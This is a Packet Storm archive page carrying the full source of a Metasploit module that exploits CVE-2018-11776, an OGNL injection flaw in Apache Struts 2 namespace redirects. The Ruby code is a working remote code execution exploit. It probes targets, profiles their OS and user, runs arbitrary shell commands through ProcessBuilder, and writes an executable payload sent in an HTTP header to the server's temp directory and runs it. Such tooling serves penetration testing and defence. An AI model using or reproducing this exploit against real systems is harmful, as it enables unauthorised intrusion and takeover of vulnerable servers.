Twenty Year Anniversary

Apache Struts 2 Namespace Redirect OGNL Injection

Apache Struts 2 Namespace Redirect OGNL Injection
Posted Sep 7, 2018
Authored by wvu, Man Yue Mo, hook-s3c, asoto-r7 | Site metasploit.com

This Metasploit module exploits a remote code execution vulnerability in Apache Struts versions 2.3 through 2.3.4, and 2.5 through 2.5.16. Remote code execution can be performed via an endpoint that makes use of a redirect action. Native payloads will be converted to executables and dropped in the server's temp dir. If this fails, try a cmd/* payload, which won't have to write to the disk.

tags | exploit, remote, code execution
advisories | CVE-2018-11776
MD5 | a4e7f0e82c562b624ecf195e89e4fb88

Apache Struts 2 Namespace Redirect OGNL Injection

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.

Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-11776'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
],
'Privileged' => false,
'Targets' => [
[
'Automatic detection', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Windows', {
'Platform' => %w{ windows },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Linux', {
'Platform' => %w{ unix linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
},
],
],
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
]
)
end

def check
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
ognl = "#_memberAccess['allowStaticMethodAccess']"

resp = send_struts_request(ognl)

# If vulnerable, the server should return an HTTP 302 (Redirect)
# and the 'Location' header should contain either 'true' or 'false'
if resp && resp.headers['Location']
output = resp.headers['Location']
vprint_status("Redirected to: #{output}")
if (output.include? '/true/')
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
elsif (output.include? '/false/')
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
datastore['ENABLE_STATIC'] = true
CheckCode::Vulnerable
else
CheckCode::Safe
end
elsif resp && resp.code==400
# METHOD 2: Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b

ognl = "#{a}+#{b}"

resp = send_struts_request(ognl)

if resp.headers['Location'].include? c.to_s
vprint_status("Redirected to: #{resp.headers['Location']}")
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
end

def exploit
case payload.arch.first
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload()
end
end

def encode_ognl(ognl)
# Check and fail if the command contains the follow bad characters:
# ';' seems to terminates the OGNL statement
# '/' causes the target to return an HTTP/400 error
# '\' causes the target to return an HTTP/400 error (sometimes?)
# '\r' ends the GET request prematurely
# '\n' ends the GET request prematurely

# TODO: Make sure the following line is uncommented
bad_chars = %w[; \\ \r \n] # and maybe '/'
bad_chars.each do |c|
if ognl.include? c
print_error("Bad OGNL request: #{ognl}")
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
end
end

# The following list of characters *must* be encoded or ORNL will asplode
encodable_chars = { "%": "%25", # Always do this one first. :-)
" ": "%20",
"\"":"%22",
"#": "%23",
"'": "%27",
"<": "%3c",
">": "%3e",
"?": "%3f",
"^": "%5e",
"`": "%60",
"{": "%7b",
"|": "%7c",
"}": "%7d",
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?
}

encodable_chars.each do |k,v|
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
ognl.gsub!("#{k}","#{v}")
end
return ognl
end

def send_struts_request(ognl, payload: nil)
=begin #badchar-checking code
pre = ognl
=end

ognl = "${#{ognl}}"
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)

headers = {'Keep-Alive': 'timeout=5, max=1000'}

if payload
vprint_status("Embedding payload of #{payload.length} bytes")
headers[datastore['HEADER']] = payload
end

# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
uri = "/#{ognl}/#{datastore['ACTION']}"

resp = send_request_cgi(
#'encode' => true, # this fails to encode '\', which is a problem for me
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)

if resp && resp.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end

=begin #badchar-checking code
print_status("Response code: #{resp.code}")
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
if resp.headers['Location']
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
if resp.headers['Location'].split('/')[1] == pre[1..-2]
print_good("GOT 'EM!")
else
print_error(" #{pre[1..-2]}")
end
end
=end

resp
end

def profile_target
# Use OGNL to extract properties from the Java environment

properties = { 'os.name': nil, # e.g. 'Linux'
'os.arch': nil, # e.g. 'amd64'
'os.version': nil, # e.g. '4.4.0-112-generic'
'user.name': nil, # e.g. 'root'
#'user.home': nil, # e.g. '/root' (didn't work in testing)
'user.language': nil, # e.g. 'en'
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
}

ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|('#{rand_text_alpha(2)}')|
properties.each do |k,v|
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
end
ognl = ognl[0...-4]

r = send_struts_request(ognl)

if r.code == 400
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
elsif r.headers['Location']
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
# Extract the OGNL output from the Location path, and strip the two random chars
s = r.headers['Location'].split('/')[1][2..-1]

if s.nil?
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
# But we didn't get any output, so we can't profile the target. Abort.
return nil
end

# Confirm that all fields were returned, and non include extra (:) delimiters
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
if s.count(':') > properties.length
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
end

# Separate the colon-delimited properties and store in the 'properties' hash
s = s.split(':')
i = 0
properties.each do |k,v|
properties[k] = s[i]
i += 1
end

print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
return properties
else
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
end
end

def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end

begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end

if (os.include? 'linux') || (os.include? 'nix')
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
cmd = cmd_input
end

# The following OGNL will run arbitrary commands on Windows and Linux
# targets, as well as returning STDOUT and STDERR. In my testing,
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.

vprint_status("Executing: #{cmd}")

ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start()).|
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
ognl << %q|(#r.flush())|

r = send_struts_request(ognl)

if r && r.code == 200
print_good("Command executed:\n#{r.body}")
elsif r
if r.body.length == 0
print_status("Payload sent, but no output provided from server.")
elsif r.body.length > 0
print_error("Failed to run command. Response from server: #{r.to_s}")
end
end
end

def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end

data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end

random_filename = datastore['TEMPFILE']

# d = data stream from HTTP header
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|

success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|

exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)

if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
elsif r && r.headers['Location']
vprint_error("RESPONSE: " + r.headers['Location'])
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
elsif r && r.code == 400
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close